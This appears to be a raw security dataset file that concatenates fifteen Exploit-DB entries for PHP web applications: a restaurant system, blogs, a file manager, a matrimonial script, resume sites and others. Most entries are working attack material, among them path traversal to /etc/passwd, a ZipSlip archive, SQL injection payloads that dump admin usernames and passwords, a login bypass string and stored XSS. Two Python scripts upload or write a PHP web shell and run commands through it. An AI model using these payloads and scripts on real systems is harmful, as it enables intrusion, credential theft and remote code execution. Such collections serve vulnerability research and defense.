deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45271
Description: Responsive FileManager < 9.13.4 - Directory Traversal
Type: webapps
Platform: php
Date: 2018-08-27
Author: Simon Uvarov

Exploit:
The following vulnerabilities were fixed in the version 9.13.4.
https://responsivefilemanager.com

#1 Path Traversal Allows to Read Any File

Reserved CVE: CVE-2018-15535
Discovered By: Simon Uvarov
Vendor Status: Fixed

Details:

The following request allows a user to read any file on the system.

    GET /filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd HTTP/1.1
    Host: 192.168.5.129
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.5.129/filemanager/dialog.php?type=0&popup=1
    X-Requested-With: XMLHttpRequest
    Cookie: last_position=%2F; PHPSESSID=na248cef3f937mtql67dvu8fk5
    Connection: close

#2 Path Traversal While Upacking Archives

Reserved CVE: CVE-2018-15536
Discovered By: Simon Uvarov
Vendor Status: Fixed

The following request starts unpacking the exploit.zip archive:

    POST /filemanager/ajax_calls.php?action=extract HTTP/1.1
    Host: 192.168.5.129
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.5.129/filemanager/dialog.php?type=0&lang=en_EN&popup=1&crossdomain=0&relative_url=0&akey=key&fldr=&5b6d9b91535a9&[PII_REDACTED]83
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 16
    Cookie: last_position=%2F; PHPSESSID=na248cef3f937mtql67dvu8fk5
    Connection: close
   
    path=exploit.zip

Bases64-encoded example of exploit.zip which creates source.txt in /tmp/ directory:

    UEsDBBQAAAAAALZNmkR7I19kDgAAAA4AAAAmAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1w
    L3NvdXJjZS50eHR1cGxvYWRzIGZvbGRlclBLAQIUAxQAAAAAALZNmkR7I19kDgAAAA4AAAAmAAAA
    AAAAAAAAAADtgQAAAAAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvc291cmNlLnR4dFBLBQYA
    AAAAAQABAFQAAABSAAAAAAA=

It is possible to create archives containing ../../ as a part of a file path, now it's famous as ZipSlip vulnerability, but it's an old bug.

It is impossible to upload .php files or .htaccess file using this method, but itas possible to create different files with "legal" extensions on a system and it may lead to remote code execution if a server runs with enough privileges, for example, to create cron jobs.
Exploit-DB #41533
Description: Responsive Matrimonial Script 4.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Responsive Matrimonial Script v4.0.1 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/responsive-matrimonial/
# Demo: http://74.124.215.220/~responsivematri/
# Version: 4.0.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/success_story.php?detail=[SQL]
# http://localhost/[PATH]/search-results.php?gender=[SQL]Male&age_from=[SQL]&age_to=[SQL]&marital=[SQL]&religion=[SQL]&caste=[SQL]&mothertongue=[SQL]&country=[SQL]&education=[SQL]&Submit=search
# For example;
# -3'+/*!50000union*/+select+1,2,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,4,5,6,7,8,9,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),11,12,13,14,15,16,17,18,19--+-
# adminlogin :admin_id
# adminlogin :admin_username
# adminlogin :admin_password
# adminlogin :admin_email
# adminlogin :admin_usertype
# -3'+/*!50000union*/+select+1,2,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,4,5,6,7,8,9,/*!50000ConCat(*/admin_username,/*!50000char*/(58),admin_password),11,12,13,14,15,16,17,18,19+from+adminlogin--+-
# Etc...
# # # # #
Exploit-DB #48615
Description: Responsive Online Blog 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-06-23
Author: Eren Şimşek

Exploit:
# Exploit Title: Responsive Online Blog 1.0 - 'id' SQL Injection
# Date: 2020-06-23
# Exploit Author: Eren Şimşek
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL
# Version: v1.0
# Tested on: Linux - Wamp Server

>Vulnerable File
   /category.php

>Vulnerable Code

   $id=$_REQUEST['id'];
   $query="SELECT * from blog_categories where id='".$id."'";
   Id parameter enters sql query without any changes

>Proof Of Concept
   sqlmap 'http://localhost/resblog/category.php?id=1' --dbs --batch
   OR
   http://TARGET/resblog/category.php?id=1' Single Quote will cause SQL error
Exploit-DB #43297
Description: Responsive Realestate Script 3.2 - 'property-list?tbud' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Responsive Realestate Script 3.2 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/responsive-realestate-script/
# Version: 3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/property-list?tbud=5001-10000[SQL]&quicksrch1=
# 
# 34 columns
# 
# Parameter: tbud (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: tbud=5001-10000 AND 4719=4719&quicksrch1=
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: tbud=5001-10000 AND SLEEP(5)&quicksrch1=
# 
# # # # #
Exploit-DB #47205
Description: Rest - Cafe and Restaurant Website CMS - 'slug' SQL Injection
Type: webapps
Platform: php
Date: 2019-08-02
Author: n1x_

Exploit:
# Exploit Title: Rest - Cafe and Restaurant Website CMS - SQL Injection
# Date: 1.8.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: https://codecanyon.net/item/rest-cafe-and-restaurant-website-cms/21630154
# CWE : CWE-89

Vulnerable parameter: slug (news.php)

[GET Request]

GET //host/[path]/news.php?slug=x' HTTP/1.1
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US
Cache-Control: max-age=0
Cookie: PHPSESSID=87e839a144a7c326454406dea88b92bc
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
Exploit-DB #51330
Description: Restaurant Management System 1.0  - SQL Injection
Type: webapps
Platform: php
Date: 2023-04-08
Author: calfcrusher

Exploit:
# Exploit Title: Restaurant Management System 1.0  - SQL Injection
# Date: 2023-03-20
# Exploit Author: calfcrusher (calfcrusher@inventati.org)
# Vendor Homepage: https://www.sourcecodester.com/users/lewa
# Software Link:
https://www.sourcecodester.com/php/11815/restaurant-management-system.html
# Version: 1.0
# Tested on: Apache 2.4.6, PHP 5.4.16

Endpoint: /rms/delete-order.php

Vulnerable parameter: id (GET)

Time Base SQL Injection payloads

http://example.com/rms/delete-order.php?id=1'or+sleep(5)%3b%23
http://example.com/rms/delete-order.php?id=122'+and+(select+1+from+(select(sleep(3)))calf)--
Exploit-DB #47520
Description: Restaurant Management System 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-10-17
Author: Ibad Shah

Exploit:
# Exploit Title: Restaurant Management System 1.0  - Remote Code Execution
# Date: 2019-10-16
# Exploit Author: Ibad Shah
# Vendor Homepage: https://www.sourcecodester.com/users/lewa
# Software Link: https://www.sourcecodester.com/php/11815/restaurant-management-system.html
# Version: N/A
# Tested on: Apache 2.4.41

#!/usr/bin/python

import requests
import sys

print ("""
    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |
                                             |_|


""")
print ("Credits : All InfoSec (Raja Ji's) Group")
url = sys.argv[1]

if len(sys.argv[1]) < 8:
	print("[+] Usage : python rms-rce.py http://localhost:80/")
	exit()
	
print ("[+] Restaurant Management System Exploit, Uploading Shell")

target = url+"admin/foods-exec.php"



headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Gecko/20100101 Firefox/69.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "327",
    "Content-Type": "multipart/form-data;
boundary=--------------------------[PII_REDACTED]11478",
    "Connection": "close",
	"Referer": "http://localhost:8081/rms/admin/foods.php",
	"Cookie": "PHPSESSID=4dmIn4q1pvs4b79",
	"Upgrade-Insecure-Requests": "1"

}

data = """

----------------------------[PII_REDACTED]11478
Content-Disposition: form-data; name="photo"; filename="reverse-shell.php"
Content-Type: text/html

<?php echo shell_exec($_GET["cmd"]); ?>
----------------------------[PII_REDACTED]11478
Content-Disposition: form-data; name="Submit"

Add
----------------------------[PII_REDACTED]11478--
"""
r = requests.post(target,verify=False, headers=headers,data=data,
proxies={"http":"http://127.0.0.1:8080"})


print("[+] Shell Uploaded. Please check the URL :
"+url+"images/reverse-shell.php")
Exploit-DB #48885
Description: Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-10-16
Author: b1nary

Exploit:
# Exploit Title: Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated)
# Date: 2020-10-05
# Exploit Author: b1nary
# Vendor Homepage: https://www.sourcecodester.com/php/14482/restaurant-reservation-system-php-full-source-code-2020.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/restaurants_3.zip
# Version: 1.0
# Tested on: Linux + Apache2

------------------------------------------------------------------------------------

1. Description:
----------------------

Restaurant Reservation System 1.0 allows SQL Injection via parameter 'date' in
includes/reservation.inc.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'date' parameter and save it like re.req. Then run SQLmap to extract the
data from the database:

sqlmap -r re.req --dbms=mysql


3. Example payload:
----------------------

(time-based blind)

fname=user&lname=user&date=2020-10-14' AND (SELECT 1934 FROM (SELECT(SLEEP(5)))lmWi) AND 
'navS'='navS&time=16:00 - 20:00&num_guests=2&tele=123456789&comments=null&reserv-submit=


4. Burpsuite request:
----------------------

POST /restaurant/includes/reservation.inc.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/restaurant/reservation.php
Cookie: PHPSESSID=r355njdkuddu4ac0a784i9i69m
Upgrade-Insecure-Requests: 1

fname=user&lname=user&date=2020-10-14&time=16%3A00+-+20%3A00&num_guests=2&tele=123456789&comments=null&reserv-submit=
Exploit-DB #34760
Description: Restaurant Script (PizzaInn Project) - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-09-24
Author: Kenneth F. Belva

Exploit:
Title:     Pizza Inn Registration Stored XSS
Severity:   High
CVE-ID:   CVE-2014-6619
Release Date:  20 September 2014 
Author:   Kenneth F. Belva
Websites:  http://silverbackventuresllc.com
    http://xssWarrior.com 
    http://securitymaverick.com
Twitter:   @infosecmaverick
Contact:  Please use website contact form.
Mail: 
URL:     http://sourceforge.net/projects/restaurantmis/
Vendor: 
Remote Exploit:  Yes

Discovered with: xssWarrior - http://xssWarrior.com


Description:
============

On registration the XSS code will be stored in the database. When the administrator views the new sign-ups it will execute.


Proof of Concept :
==================

http://[domain]/PizzaInn/register-exec.php
fname=[code]&lname=[code]&login=[code]&[CREDENTIAL_REDACTED]=r00t&question=8&answer=hack4&Submit=Register
Exploit-DB #42642
Description: Restaurant Website Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Restaurant Website Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/small-business/restaurant-website-script
# Demo: http://restaurant.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/cms.php?id=[SQL]
# 
# -6'++/*!00002UNION*/+/*!00002SELECT*/+0x31,0x32,0x33,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,19,20,0x3231,0x3232--+-
# 
# http://localhost/[PATH]/contact.php?id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #43312
Description: Resume Clone Script 2.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Resume Clone Script 2.0.5 - SQL Injection
# Dork: N/A
# Date: 10.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/resume-builder-script/
# Version: 2.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/preview.php?id=[SQL]
# 
# -2++/*!08888UNION*/(/*!08888SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x28313129,0x28313229,0x28313329,0x28313429)--+-
# 
# 	
# # # # #
Exploit-DB #49353
Description: Resumes Management and Job Application Website 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-01-05
Author: Kshitiz Raj

Exploit:
# Exploit Title: Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection)
# Date: 2020-12-27
# Exploit Author: Kshitiz Raj (manitorpotterk)
# Vendor Homepage: http://egavilanmedia.com
# Software Link: https://egavilanmedia.com/resumes-management-and-job-application-website/
# Version: 1.0
# Tested on: Windows 10/Kali Linux

Step 1 -  Go to url http://localhost/Resumes/login.html
Step 2 - Enter Username :-   ' or '1'='1'#
Step 3 -  Enter Password -   anything
Exploit-DB #49380
Description: Resumes Management and Job Application Website 1.0 - RCE (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-01-06
Author: Arnav Tripathy

Exploit:
# Exploit Title: Resumes Management and Job Application Website 1.0 - RCE (Unauthenticated)
# Date: 3/1/2021
# Exploit Author: Arnav Tripathy
# Vendor Homepage: https://egavilanmedia.com
# Software Link: https://egavilanmedia.com/resumes-management-and-job-application-website/
# Version: 1.0
# Tested on: linux/lamp

Submit rce.php in resume file upload unauthenticated.
Contents of rce.php
<?php
$output = shell_exec('whoami');
echo "<h1>$output</h1>";
?>

Navigate to http://localhost/Resumes Management and Job Application
Website/files/rce.php

You will get the output of whoami
Exploit-DB #51133
Description: Revenue Collection System v1.0 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-03-29
Author: Joe Pollock

Exploit:
# Exploit Title: Revenue Collection System v1.0 - Remote Code Execution (RCE)
# Exploit Author: Joe Pollock
# Date: November 16, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/rates.zip
# Tested on: Kali Linux, Apache, Mysql
# Vendor: Kapiya
# Version: 1.0
# Exploit Description:
#   Revenue Collection System v1.0 suffers from an unauthenticated SQL Injection Vulnerability, in step1.php, allowing remote attackers to 
#   write a malicious PHP file to disk. The resulting file can then be accessed within the /rates/admin/DBbackup directory.
#   This script will write the malicious PHP file to disk, issue a user-defined command, then retrieve the result of that command.
#   Ex: python3 rcsv1.py 10.10.14.2 "ls"

import sys, requests
def main():
	if len(sys.argv) != 3:
		print("(+) usage: %s <target> <cmd>" % sys.argv[0])
		print('(+) eg: %s 192.168.121.103 "ls"'  % sys.argv[0])
		sys.exit(-1)

	targetIP = sys.argv[1]
	cmd = sys.argv[2]
	s = requests.Session()
	
	# Define obscure filename and command parameter to limit exposure and usage of the RCE.
	FILENAME = "youcantfindme.php"
	CMDVAR = "ohno"
	
	# Define the SQL injection string
	sqli = """'+UNION+SELECT+"<?php+echo+shell_exec($_GET['%s']);?>","","","","","","","","","","","","","","","",""+INTO+OUTFILE+'/var/www/html/rates/admin/DBbackup/%s'--+-""" % (CMDVAR,FILENAME)
	
	# Write the PHP file to disk using the SQL injection vulnerability
	url1 = "http://%s/rates/index.php?page=step1&proId=%s" % (targetIP,sqli)
	r1 = s.get(url1)
	
	# Execute the user defined command and display the result
	url2 = "http://%s/rates/admin/DBbackup/%s?%s=%s" % (targetIP,FILENAME,CMDVAR,cmd)
	r2 = s.get(url2)
	print(r2.text)
	
if __name__ == '__main__':
	main()
Exploit-DB #43821
Description: ReviewPost < 2.84 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-01-02
Author: GulfTech Security

Exploit:
ReviewPost Multiple Vulnerabilities

Vendor: All Enthusiast, Inc.
Product: ReviewPost
Version: <= 2.84
Website: http://www.reviewpost.com/

BID: 12159 
CVE: CVE-2005-0270 CVE-2005-0271 CVE-2005-0272 
OSVDB: 12703 12704 12705 12706 12707 12708 
SECUNIA: 13697 
PACKETSTORM: 35594 

Description:
Your community of users represents a wealth of knowledge. Now your users can help build and maintain your site by writing reviews of any product imaginable. With ReviewPost, you will quickly amass a valuable collection of user opinions about products that relate to your site. ReviewPost can even use your existing forum login system (if you have one) to keep your users from having to register twice, and makes an excellent companion to ReviewPost. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries. 


Cross Site Scripting:
ReviewPost is prone to cross site scripting in several different scripts throughout the application. 

http://path/showcat.php?si=[XSS]
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT][XSS]
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT]&page=[INT][XSS]
http://path/reportproduct.php?report=[INT][XSS] 

This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info. 


SQL Injection Vulnerability:
There are a couple of SQL Injection vulnerabilities in ReviewPost. Some are easy to exploit, others are not so easy. Examples are below: 

http://path/showcat.php?cat=[INT][SQL]
http://path/addfav.php?product=[INT][SQL]&do=add 

These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful. 


Arbitrary File Upload:
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the Review that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when posting a review (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing a review, just not when creating a new Review. 


Solution:
ReviewPost 2.84 has been released to address these issues. Users should upgrade their installation as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team